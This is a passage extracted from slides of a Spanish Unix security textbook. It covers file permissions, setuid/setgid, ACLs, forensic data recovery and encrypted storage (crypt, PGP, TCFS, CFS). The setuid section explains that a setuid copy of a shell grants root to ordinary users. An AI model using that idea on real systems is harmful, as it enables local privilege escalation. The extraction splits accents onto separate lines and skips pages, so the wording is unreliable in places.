sigue un signo ‘+’ o ‘-’ en funci´n de si deseamos activar o resetar el bit sobre el que trabajamos,
o
par´metro indicado por el ultimo conjunto formado por una o m´s letras, r para el permiso de
a ´ a
lectura, w para escritura, x para ejecuci´n, s para suid o sgid y t para bit de permanencia (el
o
significado de estos dos ultimos se explicar´ en el punto siguiente). Entre los tres campos del valor
´ a
simb´lico no se insertan espacios:
o
anita:~# ls -l /tmp/fichero
-r-------- 1 root other 902 Feb 9 05:05 /tmp/fichero
anita:~# chmod +x /tmp/fichero
anita:~# ls -l /tmp/fichero
-r-x--x--x 1 root other 902 Feb 9 05:05 /tmp/fichero
anita:~# chmod og-x /tmp/fichero
anita:~# ls -l /tmp/fichero
5 Se recomienda consultar la p´gina del manual para ver otras opciones de la orden.
a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-70-320.jpg)
![54 CAP´
ITULO 4. EL SISTEMA DE FICHEROS
luisa:/home/toni# cc -o testsuid testsuid.c
luisa:/home/toni# chmod u+s testsuid
luisa:/home/toni# ls -l testsuid
-rwsr-xr-x 1 root root 4305 Feb 10 02:34 testsuid
luisa:/home/toni# su toni
luisa:~$ id
uid=1000(toni) gid=100(users) groups=100(users)
luisa:~$ ./testsuid
UID: 1000, EUID: 0
luisa:~$
Podemos comprobar que el usuario toni, sin ning´n privilegio especial en el sistema, cuando ejecuta
u
nuestro programa setuidado de prueba est´ trabajando con un euid (Effective UID) 0, lo que le
a
otorga todo el poder del administrador (fij´monos que ´ste ultimo es el propietario del ejecutable);
e e ´
si en lugar de este c´digo el ejecutable fuera una copia de un shell, el usuario toni tendr´ todos los
o ıa
privilegios del root mientras no finalice la ejecuci´n, es decir, hasta que no se teclee exit en la l´
o ınea
de ´rdenes.
o
Todo lo que acabamos de comentar con respecto al bit setuid es aplicable al bit setgid pero a
nivel de grupo del fichero en lugar de propietario: en lugar de trabajar con el euid del propietario,
todo usuario que ejecute un programa setgidado tendr´ los privilegios del grupo al que pertenece
a
el archivo. Para activar el bit de setgid sumaremos 2000 a la representaci´n octal del permiso del
o
fichero y adem´s habremos de darle permiso de ejecuci´n a la terna de grupo; si lo hacemos, la s o
a o
S aparecer´ en lugar de la x en esta terna. Si el fichero es un directorio y no un archivo plano, el bit
a
setgid afecta a los ficheros y subdirectorios que se creen en ´l: estos tendr´n como grupo propietario
e a
al mismo que el directorio setgidado, siempre que el proceso que los cree pertenezca a dicho grupo.
Pero, ¿c´mo afecta todo esto a la seguridad del sistema? Muy sencillo: los bits de setuid y setgid dan
o
a Unix una gran flexibilidad, pero constituyen al mismo tiempo la mayor fuente de ataques internos
al sistema (entendiendo por ataques internos aquellos realizados por un usuario – autorizado o no
– desde la propia m´quina, generalmente con el objetivo de aumentar su nivel de privilegio en la
a
misma). Cualquier sistema Unix tiene un cierto n´mero de ejecutables setuidados y/o setgidados.
u
Cada uno de ellos, como acabamos de comentar, se ejecuta con los privilegios de quien lo cre´ (gen-
o
eralmente el root u otro usuario con ciertos privilegios) lo que directamente implica que cualquier
usuario tiene la capacidad de lanzar tareas que escapen total o parcialmente al control del sistema
operativo: se ejecutan en modo privilegiado si es el administrador quien cre´ los ejecutables. Evi-
o
dentemente, estas tareas han de estar controladas de una forma exhaustiva, ya que si una de ellas
se comporta de forma anormal (un simple core dump) puede causar da˜os irreparables al sistema6 ;
n
tanto es as´ que hay innumerables documentos que definen, o lo intentan, pautas de programaci´n
ı o
considerada ‘segura’ (en la secci´n 5.5 se citan algunos de ellos y tambi´n se explican algunas de
o e
estas t´cnicas). Si por cualquier motivo un programa setuidado falla se asume inmediatamente
e
que presenta un problema de seguridad para la m´quina, y se recomienda resetear el bit de setuid
a
cuanto antes.
Est´ claro que asegurar completamente el comportamiento correcto de un programa es muy dif´
a ıcil,
por no decir imposible; cada cierto tiempo suelen aparecer fallos (bugs) en ficheros setuidados de
los diferentes clones de Unix que ponen en peligro la integridad del sistema. Entonces, ¿por qu´ e
no se adopta una soluci´n radical, como eliminar este tipo de archivos? Hay una sencilla raz´n:
o o
el riesgo que presentan no se corre in´tilmente, para tentar al azar, sino que los archivos que se
u
ejecutan con privilegios son estrictamente necesarios en Unix, al menos algunos de ellos. Veamos
un ejemplo: un fichero setuidado cl´sico en cualquier clon es /bin/passwd, la orden para que los
a
usuarios puedan cambiar su contrase˜a de entrada al sistema. No hace falta analizar con mucho
n
detalle el funcionamiento de este programa para darse cuenta que una de sus funciones consiste en
modificar el fichero de claves (/etc/passwd o /etc/shadow). Est´ claro que un usuario per se no
a
tiene el nivel de privilegio necesario para hacer esto (incluso es posible que ni siquiera pueda leer el
fichero de claves), por lo que frente a este problema tan simple existen varias soluciones: podemos
6 Es especialmente preocupante la posibilidad de ejecutar c´digo arbitrario ([One96]), comentada en la secci´n 5.3.
o o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-72-320.jpg)
![58 CAP´
ITULO 4. EL SISTEMA DE FICHEROS
---S---- /tmp/fichero
luisa:~#
4.6 Listas de control de acceso: ACLs
Las listas de control de acceso (ACLs, Access Control Lists) proveen de un nivel adicional de se-
guridad a los ficheros extendiendo el cl´sico esquema de permisos en Unix: mientras que con estos
a
ultimos s´lo podemos especificar permisos para los tres grupos de usuarios habituales (propietario,
´ o
grupo y resto), las ACLs van a permitir asignar permisos a usuarios o grupos concretos; por ejemp-
lo, se pueden otorgar ciertos permisos a dos usuarios sobre unos ficheros sin necesidad de incluirlos
en el mismo grupo. Este mecanismo est´ disponible en la mayor´ de Unices (Solaris, AIX, HP-
a ıa
UX. . . ), mientras que en otros que no lo proporcionan por defecto, como Linux, puede instalarse
como un software adicional. A pesar de las agresivas campa˜as de marketing de alguna empresa,
n
que justamente presum´ de ofrecer este modelo de protecci´n en sus sistemas operativos frente al
ıa o
‘arcaico’ esquema utilizado en Unix, las listas de control de acceso existen en Unix desde hace m´s
a
de diez a˜os ([Com88]).
n
Los ejemplos que vamos a utilizar aqu´ (´rdenes, resultados. . . ) se han realizado sobre Solaris;
ı o
la idea es la misma en el resto de Unices, aunque pueden cambiar las estructuras de las listas. Para
obtener una excelente visi´n de las ACLs es recomendable consultar [Fri95], y por supuesto la docu-
o
mentaci´n de los diferentes clones de Unix para detalles concretos de cada manejo e implementaci´n.
o o
La primera pregunta que nos debemos hacer sobre las listas de control de acceso es obvia: ¿c´mo
o
las vemos? Si habitualmente queremos saber si a un usuario se le permite cierto tipo de acceso
sobre un fichero no tenemos m´s que hacer un listado largo:
a
anita:~# ls -l /usr/local/sbin/sshd
-rwx------ 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd
anita:~#
Viendo el resultado, directamente sabemos que el fichero sshd puede ser ejecutado, modificado y
le´ por el administrador, pero por nadie m´s; sin embargo, no conocemos el estado de la lista
ıdo a
de control de acceso asociada al archivo. Para ver esta lista, en Solaris se ha de utilizar la orden
getfacl:
anita:/# getfacl /usr/local/sbin/sshd
# file: /usr/local/sbin/sshd
# owner: root
# group: bin
user::rwx
group::--- #effective:---
mask:---
other:---
anita:/#
Acabamos de visualizar una lista de control de acceso de Solaris; en primer lugar se nos indi-
ca el nombre del fichero, su propietario y su grupo, todos precedidos por ‘#’. Lo que vemos a
continuaci´n es la propia lista de control: los campos user, group y other son b´sicamente la in-
o a
terpretaci´n que getfacl hace de los permisos del fichero (si nos fijamos, coincide con el resultado
o
del ls -l). El campo mask es muy similar al umask cl´sico: define los permisos m´ximos que un
a a
usuario (a excepci´n del propietario) o grupo puede tener sobre el fichero. Finalmente, el campo
o
effective nos dice, para cada usuario (excepto el propietario) o grupo el efecto que la m´scara
a
tiene sobre los permisos: es justamente el campo que tenemos que analizar si queremos ver qui´n e
puede acceder al archivo y de qu´ forma.
e
Sin embargo, hasta ahora no hemos observado nada nuevo; podemos fijarnos que la estructura
de la lista de control de acceso otorga los mismos permisos que las ternas cl´sicas. Esto es algo
a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-76-320.jpg)
![4.6. LISTAS DE CONTROL DE ACCESO: ACLS 59
normal en todos los Unix: si no indicamos lo contrario, al crear un fichero se le asocia una ACL
que coincide con los permisos que ese archivo tiene en el sistema (cada archivo tendr´ una lista
a
asociada, igual que tiene unos permisos); de esta forma, el resultado anterior no es m´s que la visi´n
a o
que getfacl tiene de los bits rwx del fichero ([Gal96c]).
Lo interesante de cara a la protecci´n de ficheros es extender los permisos cl´sicos del archivo,
o a
modificando su lista asociada. Esto lo podemos conseguir con la orden setfacl:
anita:~# setfacl -m user:toni:r-x /usr/local/sbin/sshd
anita:~# getfacl /usr/local/sbin/sshd
# file: /usr/local/sbin/sshd
# owner: root
# group: bin
user::rwx
user:toni:r-x #effective:---
group::--- #effective:---
mask:---
other:---
anita:~#
Como vemos, acabamos de modificar la lista de control de acceso del archivo para asignarle a toni
permiso de ejecuci´n y lectura sobre el mismo. La orden setfacl se utiliza principalmente de
o
tres formas: o bien a˜adimos entradas a la ACL, mediante la opci´n -m seguida de las entradas
n o
que deseemos a˜adir separadas por comas (lo que hemos hecho en este caso, aunque no se han
n
utilizado comas porque s´lo hemos a˜adido una entrada), o bien utilizamos el par´metro -s para
o n a
reemplazar la ACL completa (hemos de indicar todas las entradas, separadas tambi´n por comas),
e
o bien borramos entradas de la lista con la opci´n -d (de sintaxis similar a -m). Cada entrada de
o
la ACL tiene el siguiente formato:
tipo:uid|gid:permisos
El tipo indica a qui´n aplicar los permisos (por ejemplo, user para el propietario del archivo, o
e
mask para la m´scara), el UID indica el usuario al que queremos asociar la entrada (como hemos
a
visto, se puede utilizar tambi´n el login, y el GID hace lo mismo con el grupo (de la misma forma,
e
se puede especificar su nombre simb´lico). Finalmente, el campo de permisos hace referencia a los
o
permisos a asignar, y puede ser especificado mediante s´ ımbolos rwx- o de forma octal.
Acabamos de indicar que el usuario toni tenga permiso de lectura y ejecuci´n en el archivo; no
o
obstante, si ahora este usuario intenta acceder al fichero en estos modos obtendr´ un error:
a
anita:/usr/local/sbin$ id
uid=100(toni) gid=10(staff)
anita:/usr/local/sbin$ ./sshd
bash: ./sshd: Permission denied
anita:/usr/local/sbin$
¿Qu´ ha sucedido? Nada anormal, simplemente est´ actuando la m´scara sobre sus permisos (antes
e a a
hemos dicho que debemos fijarnos en el campo effective, y aqu´ podemos comprobar que no se
ı
ha modificado). Para solucionar esto hemos de modificar el campo mask:
anita:~# setfacl -m mask:r-x /usr/local/sbin/sshd
anita:~#
Si ahora toni intenta acceder al fichero para leerlo o ejecutarlo, ya se le va a permitir:
anita:/usr/local/sbin$ id
uid=100(toni) gid=10(staff)
anita:/usr/local/sbin$ ./sshd
/etc/sshd_config: No such file or directory
...](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-77-320.jpg)
![´
4.7. RECUPERACION DE DATOS 61
4.7 Recuperaci´n de datos
o
La inform´tica forense es un campo que d´ a d´ toma importancia; de la misma forma que la medic-
a ıa ıa
ina forense es capaz de extraer informaci´n valiosa de un cad´ver, incluso mucho despu´s de haber
o a e
muerto, la inform´tica forense pretende extraer informaci´n de un ‘cad´ver’ computerizado (por
a o a
ejemplo, un sistema en el que un intruso ha borrado sus huellas), tambi´n incluso mucho despu´s
e e
de haber ‘muerto’ (esto es, haber sido borrado). Aunque las t´cnicas de recuperaci´n de datos en
e o
Unix se aplican habitualmente para potenciar la seguridad de un equipo (por ejemplo, como hemos
dicho, para analizar el alcance real de un acceso no autorizado), ´stas mismas t´cnicas utilizadas
e e
por un atacante pueden llegar a comprometer gravemente la seguridad del sistema: un intruso que
haya conseguido cierto nivel de privilegio puede recuperar, por ejemplo, el texto plano de un docu-
mento que un usuario haya cifrado con pgp y posteriormente borrado – almacenando unicamente
´
el documento cifrado –. Aunque esto no es tan trivial como en otros sistemas menos seguros (en
los que incluso se facilitan herramientas tipo undelete), parece claro que este tipo de actividades
constituyen una amenaza a la seguridad (principalmente a la privacidad) de cualquier sistema Unix.
En 1996, Peter Gutmann public´ [Gut96], un excelente art´
o ıculo donde se demostr´ que la recu-
o
peraci´n de datos de memoria (esto incluye por supuesto la memoria secundaria) es posible con un
o
equipamiento relativamente barato, de entre 1000 y 2500 d´lares, incluso tras sobreescribir varias
o
veces los datos a borrar. Hasta ese momento casi todo el trabajo realizado en el campo de la de-
strucci´n ‘segura’ de datos se habia limitado a est´ndares de organismos de defensa estadounidenses
o a
([Cen91], [Age85]. . . ). Como el propio Gutmann explica, estos trabajos – aparte de quedar anticua-
dos – no mostraban toda la realidad sobre la destrucci´n y recuperaci´n de datos, sino que ofrec´
o o ıan
una informaci´n posiblemente inexacta; de esta forma las agencias estadounidenses confund´ a la
o ıan
opini´n p´blica (y a los servicios de pa´ hostiles) asegurando as´ el acceso de la propia agencia a
o u ıses ı
la informaci´n, y al mismo tiempo proteg´ sus propios datos mediante gu´ y est´ndares clasifi-
o ıan ıas a
cados para uso interno.
El art´ıculo de Gutmann se puede considerar la base de la inform´tica forense actual, un campo
a
que como hemos dicho, d´ a d´ cobra importancia; centr´ndonos en la rama de este campo rela-
ıa ıa a
tiva a Unix (se le suele denominar Unix Forensics) podemos encontrar herramientas para realizar
borrado seguro de datos, como srm (Secure rm), del grupo de hackers THC (The Hacker´s Choice);
este software implementa un algoritmo de borrado seguro bas´ndose en [Gut96]. Dicho algoritmo
a
efectua principalmente un procedimiento de sobreescritura casi 40 veces, haciendo un flush de la
cach´ de disco despu´s de cada una de ellas; adem´s trunca el fichero a borrar y lo renombra aleato-
e e a
riamente antes de efectuar el unlink(), de forma que para un potencial atacante sea m´s dif´
a ıcil
obtener cualquier informaci´n del archivo una vez borrado. srm se distribuye dentro de un paquete
o
software denominado secure-delete, donde tambi´n podemos encontrar otras herramientas rela-
e
cionadas con la eliminaci´n segura de datos: smem (borrado seguro de datos en memoria principal),
o
sfill (borrado seguro de datos en el espacion disponible de un disco) y por ultimo sswap (borrado
´
seguro de datos en el ´rea de swap de Linux); todos los algoritmos utilizados en estos programas
a
est´n basados en el art´
a ıculo de Gutmann del que antes hemos hablado.
Otra herramienta importante a la hora de hablar de Unix Forensics, pero esta vez desde el la-
do opuesto a secure-delete – esto es, desde el punto de vista de la recuperaci´n de datos – es sin
o
duda The Coroner´s Toolkit, obra de dos reconocidos expertos en seguridad: Wietse Venema y Dan
Farmer. En verano de 1999, concretamente el 6 de agosto, en el IBM T.J. Watson Research Center
de Nueva York estos dos expertos dieron una clase sobre Unix Forensics, en la que mostraban c´moo
extraer informaci´n de este sistema operativo, no s´lo del sistema de ficheros, sino tambi´n de la
o o e
red, el sistema de logs o los procesos que se ejecutan en una m´quina. Lamentablemente, The Coro-
a
ner´s Toolkit a´n no se encuentra disponible, pero es posible ojear lo que va a ser esta herramienta
u
en las transparencias de esta conferencia, disponibles en http://www.porcupine.org/forensics/,
donde se muestra todo lo que un exhaustivo an´lisis sobre Unix puede – y tambi´n lo que no puede
a e
– conseguir.
El an´lisis forense, especialmente la recuperaci´n de datos, es especialmente importante a la hora
a o
de analizar los alcances de una intrusi´n a un equipo. En estas situaciones, es muy posible que
o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-79-320.jpg)
![62 CAP´
ITULO 4. EL SISTEMA DE FICHEROS
el atacante modifique ficheros de log (cuando no los borra completamente), troyanize programas o
ejecute procesos determinados: es aqu´ donde la persona encargada de retornar al sistema a la nor-
ı
malidad debe desconfiar de cuanto la m´quina le diga, y recurrir al an´lisis forense para determinar
a a
el impacto real del ataque y devolver el sistema a un correcto funcionamiento.
4.8 Almacenamiento seguro
4.8.1 La orden crypt(1)
La orden crypt permite cifrar y descifrar ficheros en diferentes sistemas Unix; si no recibe par´me-
a
tros lee los datos de la entrada est´ndar y los escribe en la salida est´ndar, por lo que seguramente
a a
habremos de redirigir ambas a los nombres de fichero adecuados. Un ejemplo simple de su uso
puede ser el siguiente:
$ crypt <fichero.txt >fichero.crypt
Enter key:
$
En el anterior ejemplo hemos cifrado utilizando crypt el archivo fichero.txt y guardado el resul-
tado en fichero.crypt; el original en texto claro se mantiene en nuestro directorio, por lo que si
queremos evitar que alguien lo lea deberemos borrarlo.
Para descifrar un fichero cifrado mediante crypt (por ejemplo, el anterior) utilizamos la misma
orden y la misma clave:
$ crypt <fichero.crypt>salida.txt
Enter key:
$
El anterior comando ha descifrado fichero.crypt con la clave tecleada y guardado el resultado en
el archivo salida.txt, que coincidir´ en contenido con el anterior fichero.txt.
a
crypt no se debe utilizar nunca para cifrar informaci´n confidencial; la seguridad del algorit-
o
mo de cifra utilizado por esta orden es m´
ınima, ya que crypt se basa en una m´quina con un rotor
a
de 256 elementos similar en muchos aspectos a la alemana Enigma, con unos m´todos de ataque
e
r´pidos y conocidos por todos ([RW84]). Por si esto fuera poco, si en lugar de teclear la clave
a
cuando la orden nos lo solicita lo hacemos en l´
ınea de comandos, como en el siguiente ejemplo:
$ crypt clave < fichero.txt > fichero.crypt
$
Entonces a la debilidad criptogr´fica de crypt se une el hecho de que en muchos Unices cualquier
a
usuario puede observar la clave con una orden tan simple como ps (no obstante, para minimizar
este riesgo, el propio programa guarda la clave y la elimina de su l´
ınea de argumentos nada m´s
a
leerla).
Obviamente, la orden crypt(1) no tiene nada que ver con la funci´n crypt(3), utilizada a la
o
hora de cifrar claves de usuarios, que est´ basada en una variante del algoritmo des y se puede
a
considerar segura en la mayor´ de entornos.
ıa
4.8.2 PGP: Pretty Good Privacy
El software PGP, desarrollado por el cript´logo estadounidense Phil Zimmermann ([Zim95a],
o
[Zim95b]), es mundialmente conocido como sistema de firma digital para correo electr´nico. Aparte
o
de esta funci´n, PGP permite tambi´n el cifrado de archivos de forma convencional mediante
o e
criptograf´ sim´trica ([Gar95]); esta faceta de PGP convierte a este programa en una excelente
ıa e
herramienta para cifrar archivos que almacenamos en nuestro sistema; no es el mismo mecanismo
que el que se emplea para cifrar un fichero que vamos a enviar por correo, algo que hay que hacer
utilizando la clave p´blica del destinatario, sino que es un m´todo que no utiliza para nada los
u e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-80-320.jpg)
![64 CAP´
ITULO 4. EL SISTEMA DE FICHEROS
4.8.3 TCFS: Transparent Cryptographic File System
TCFS es un software desarrollado en la Universidad de Salerno y disponible para sistemas Linux
que proporciona una soluci´n al problema de la privacidad en sistemas de ficheros distribuidos como
o
NFS: t´ıpicamente en estos entornos las comunicaciones se realizan en texto claro, con la enorme
amenaza a la seguridad que esto implica. TCFS almacena los ficheros cifrados, y son pasados a
texto claro antes de ser le´
ıdos; todo el proceso se realiza en la m´quina cliente, por lo que las claves
a
nunca son enviadas a trav´s de la red.
e
La principal diferencia de TCFS con respecto a otros sistemas de ficheros cifrados como CFS es que,
mientras que ´stos operan a nivel de aplicaci´n, TCFS lo hace a nivel de n´cleo, consiguiendo as´
e o u ı
una mayor transparencia y seguridad. Obviamente esto tiene un grave inconveniente: TCFS s´lo o
est´ dise˜ado para funcionar dentro del n´cleo de sistemas Linux, por lo que si nuestra red de Unix
a n u
utiliza otro clon del sistema operativo, no podremos utilizar TCFS correctamente. No obstante,
esta gran integraci´n de los servicios de cifrado en el sistema de los ficheros hace que el modelo sea
o
transparente al usuario final.
Para utilizar TCFS necesitamos que la m´quina que exporta directorios v´ NFS ejecute el demonio
a ıa
xattrd; por su parte, los clientes han de ejecutar un n´cleo compilado con soporte para TCFS.
u
Adem´s, el administrador de la m´quina cliente ha de autorizar a los usuarios a que utilicen TCFS,
a a
generando una clave que cada uno de ellos utilizar´ para trabajar con los ficheros cifrados; esto se
a
consigue mediante tcfsgenkey, que genera una entrada para cada usuario en /etc/tcfspasswd:
rosita:~# tcfsgenkey
login: toni
password:
now we’ll generate the des key.
press 10 keys:**********
Ok.
rosita:~# cat /etc/tcfspasswd
toni:2rCmyOUsM5IA=
rosita:~#
Una vez que un usuario tiene una entrada en /etc/tcfspasswd con su clave ya puede acceder a
ficheros cifrados; para ello, en primer lugar utilizar´ tcfslogin para insertar su clave en el kernel,
a
tras lo cual puede ejecutar la variante de mount distribuida con TCFS para montar los sistemas que
el servidor exporta. Sobre los archivos de estos sistemas, se utiliza la variante de chattr de TCFS
para activar o desactivar el atributo X (podemos visualizar los atributos de un fichero con lsattr),
que indica que se trata de archivos que necesitan al demonio de TCFS para trabajar sobre ellos
(cifrando o descifrando). Finalmente, antes de abandonar una sesi´n se ha de ejecutar tcfslogout,
o
cuya funci´n es eliminar la clave del kernel de Linux. Tambi´n es necesaria una variante de passwd,
o e
proporcionada con TCFS, que regenera las claves de acceso a archivos cifrados cuando un usuario
cambia su password.
TCFS utiliza uno de los cuatro modos de funcionamiento que ofrece el est´ndar DES ([oS80])
a
denominado CBC (Cipher Block Chaining). El principal problema de este modelo (aparte de la
potencial inseguridad de DES) es la facilidad para insertar informaci´n al final del fichero cifrado,
o
por lo que es indispensable recurrir a estructuras que permitan detectar el final real de cada archivo;
otro problema, menos peligroso a priori, es la repetici´n de patrones en archivos que ocupen m´s de
o a
34 Gigabytes (aproximadamente), que puede conducir, aunque es poco probable, a un criptoan´lisis a
exitoso en base a estas repeticiones. M´s peligroso es el uso del mismo password de entrada al sis-
a
tema como clave de cifrado utilizando la funci´n resumen MD5 (el peligro no proviene del uso de
o
esta funci´n hash, sino de la clave del usuario); previsiblemente en futuras versiones de TCFS se
o
utilizar´n passphrases similares a las de PGP para descifrar y descifrar.
a
4.8.4 Otros m´todos de almacenamiento seguro
e
En los ultimos a˜os los usuarios de Unix se han concienciado cada vez m´s con la seguridad de los
´ n a
datos que poseen en sus sistemas, especialmente de la privacidad de los mismos: un sistema fiable](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-82-320.jpg)
![4.8. ALMACENAMIENTO SEGURO 65
ha de pasar necesariamente por un m´todo de almacenamiento seguro; por supuesto, esta preocu-
e
paci´n de los usuarios autom´ticamente se traduce en m´s investigaciones y nuevos desarrollos en
o a a
este campo de la seguridad. En este cap´ ıtulo hemos analizado las ventajas, las desventajas y el
funcionamiento de algunos de estos sistemas, desde el modelo cl´sico y habitual en Unix hasta las
a
ultimas herramientas de an´lisis forense y su problem´tica, pasando por aplicaciones tan simples
´ a a
como crypt o tan complejas como pgp; aunque se ha pretendido dar una visi´n general de lo que
o
se entiende por un almacenamiento seguro en Unix, es imposible tratar todas las implementaciones
de sistemas que incrementan la seguridad en la actualidad. No obstante, antes de finalizar este
cap´ıtulo hemos preferido comentar algunas de las caracter´
ısticas de sistemas que se han hecho ya,
se est´n haciendo, o previsiblemente se har´n en un futuro no muy lejano un hueco importante
a a
entre los mecanismos de almacenamiento seguro en Unix.
No podemos finalizar sin hablar del sistema CFS (Cryptographic File System), del experto en
seguridad Matt Blaze ([Bla93]), que se ha convertido en el sistema m´s utilizado en entornos donde
a
coexisten diferentes clones de Unix (ya hemos comentado el problema de TCFS y su dependencia
con Linux). Provee de servicios de cifrado a cualquier sistema de ficheros habitual en Unix, NFS
incluido, utilizando una combinaci´n de varios modos de trabajo de DES que son lo suficientemente
o
ligeros como para no sobrecargar demasiado a una m´quina normal pero lo suficientemente pesados
a
como para proveer de un nivel aceptable de seguridad. Los usuarios no tienen m´s que asociar una
a
clave a los directorios a proteger para que CFS cifre y descifre sus contenidos de forma transparente
utilizando dicha clave; el texto en claro de los mismos nunca se almacena en un dispositivo o se
transmite a trav´s de la red, y los procedimientos de copia de seguridad en la m´quina no se ven
e a
afectados por el uso de CFS. Todo el proceso se realiza en el espacio de usuario (a diferencia de
TCFS, que operaba dentro del kernel de Linux) utilizando principalmente el demonio cfsd en la
m´quina donde se encuentren los sistemas cifrados.
a
Peter Gutmann, del que ya hemos hablado en este cap´ ıtulo, desarroll´ en la primera mitad de
o
los noventa SFS (Secure File System). Este modelo de almacenamiento seguro se dise˜o original-
n´
mente para sistemas MS-DOS o Windows, donde funciona como un manejador de dispositivos m´s, a
aunque en la actualidad existen tambi´n versiones para Windows 95, Windows NT y OS/2. No
e
est´ portado a Unix, pero aqu´ lo citamos porque existe un sistema de almacenamiento seguro para
a ı
Unix denominado tambi´n Secure File System, SFS, pero no tiene nada que ver con el original de
e
Gutmann. El SFS de Unix funciona de una forma similar a CFS pero utilizando el criptosistema
Blowfish y una versi´n minimalista de RSA en lugar de DES; no vamos a entrar en detalles de este
o
software principalmente porque su uso en entornos Unix no est´ ni de lejos tan extendido como el
a
de CFS.
La criptograf´ es la herramienta principal utilizada en la mayor´ de los sistemas de almacenamien-
ıa ıa
to seguro; sin embargo, todos ellos plantean un grave problema: toda su seguridad reside en la clave
de cifrado, de forma que el usuario se encuentra indefenso ante m´todos legales – o ilegales – que
e
le puedan obligar a desvelar esta clave una vez que se ha determinado la presencia de informaci´n o
cifrada en un dispositivo de almacenamiento. Esto, que nos puede parecer algo exagerado, no lo es
en absoluto: todos los expertos en criptograf´ coinciden en afirmar que los m´todos de ataque m´s
ıa e a
efectivos contra un criptosistema no son los efectuados contra el algoritmo, sino contra las personas
(chantaje, amenazas, presiones judiciales. . . ). Intentando dar soluci´n a este problema, durante los
o
ultimos a˜os de la d´cada de los noventa, prestigiosos investigadores de la talla de Roger Need-
´ n e
ham, Ross Anderson o Adi Shamir ([ANS98]) han establecido las bases de sistemas seguros basados
en modelos esteganogr´ficos, con desarrollos especialmente importantes sobre plataformas Linux
a
([MK99], [vSS98]. . . ). La disponibilidad del c´digo fuente completo de este clon de Unix unida a su
o
pol´ıtica de desarrollo ha propiciado enormemente estos avances, hasta el punto de que existen en la
actualidad sistemas de ficheros basados en esteganograf´ que se insertan en el kernel igual que lo
ıa
hace un sistema normal como ufs o nfs, o que se a˜aden a ext2 proporcionando funciones de cifrado.
n
La idea es sencilla: si por ejemplo tenemos cinco archivos cifrados con una aplicaci´n como pgp,
o
cualquier atacante con acceso al dispositivo y que haga unas operaciones sobre ficheros puede deter-
minar que tenemos exactamente esos archivos cifrados; con esta informaci´n, su labor para obtener
o
la informaci´n est´ muy clara: se ha de limitar a obtener las cinco claves privadas usadas para
o a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-83-320.jpg)
![Cap´
ıtulo 5
Programas seguros, inseguros y
nocivos
5.1 Introducci´n
o
En 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90], un art´ ıculo en el que
se mostraba que demasiadas herramientas est´ndar (m´s del 25%) de Unix fallaban ante elementos
a a
tan simples como una entrada anormal. Cinco a˜os m´s tarde otro grupo de investigaci´n, dirigido
n a o
tambi´n por Barton P. Miller, realiz´ el estudio [MKL+ 95], lamentablemente no publicado; las con-
e o
clusiones en este ultimo estudio fueron sorprendentes: el sistema con las herramientas m´s estables
´ a
era Slackware Linux, un Unix gratuito y de c´digo fuente libre que presentaba una tasa de fallos
o
muy inferior al de sistemas comerciales como Solaris o IRIX. Aparte de este hecho anecd´tico, era
o
preocupante comprobar como la mayor´ de problemas descubiertos en 1990 segu´ presente en los
ıa ıa
sistemas Unix estudiados.
Aunque por fortuna la calidad del software ha mejorado mucho en los ultimos a˜os1 , y esa mejora
´ n
lleva asociada una mejora en la robustez del c´digo, los fallos y errores de dise˜o en aplicaciones o
o n
en el propio n´cleo son una de las fuentes de amenazas a la seguridad de todo sistema inform´tico.
u a
Pero no s´lo los errores son problem´ticos, sino que existen programas – como los virus – realizados
o a
en la mayor´ de situaciones no para realizar tareas utiles sino para comprometer la seguridad de
ıa ´
una m´quina o de toda una red. Este tipo de programas s´lamente compromete la seguridad cuando
a o
afectan al administrador; si un virus infecta ficheros de un usuario, o si ´ste ejecuta un troyano, s´lo
e o
podr´ perjudicarse a s´ mismo: podr´ borrar sus ficheros, enviar correo en su nombre o matar sus
a ı a
procesos, pero no hacer lo mismo con el resto de usuarios o el root. El problema para la seguridad
viene cuando es el propio administrador quien utiliza programas contaminados por cualquier clase
de fauna, y para evitar esto hay una medida de protecci´n b´sica: la prevenci´n. Es crucial que
o a o
las actividades como administrador se reduzcan al m´ ınimo, ejecutando como usuario normal las
tareas que no requieran de privilegios. Cuando no quede m´s remedio que trabajar como root (por
a
ejemplo a la hora de instalar software en el sistema), no hemos de ejecutar nada que no provenga
de una fuente fiable, e incluso as´ tomar precauciones en caso de que el programa realice funciones
ı
m´ ınimamente delicadas para el sistema operativo (por ejemplo, probarlo antes en una m´quina de
a
testeo, o en entornos cerrados con chroot()). Es muy normal, sobre todo entre administradores de
Linux, el recomendar que no se ejecute nada sin haber le´ previamente el c´digo fuente, o al menos
ıdo o
que dicho c´digo est´ disponible; esto, aunque es una soluci´n perfecta al problema, es inaplicable
o e o
en la mayor´ de situaciones. Por un lado, no todas las aplicaciones o sistemas tienen su c´digo
ıa o
abierto a sus usuarios, por lo que nos estar´ ıamos restringiendo a utilizar programas generalmente
no comerciales – algo que quiz´s no depende de nosotros, como administradores –. Por otro, resulta
a
absurdo pensar que un administrador tenga el tiempo necesario para leer (y lo m´s importante,
a
para comprobar) cada l´ ınea del c´digo de todos los programas instalados en sus m´quinas.
o a
1 En Unix, claro.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-85-320.jpg)
![68 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
5.2 La base fiable de c´mputo
o
La base fiable (o segura) de c´mputo (Trusted Computing Base, TCB) es una caracter´
o ıstica de
ciertos Unices que incrementa la seguridad del sistema marcando ciertos elementos del mismo como
‘seguros’. Aunque estos elementos son b´sicamente el hardware y ciertos ficheros, la parte software
a
es mucho m´s importante para el administrador que la m´quina f´
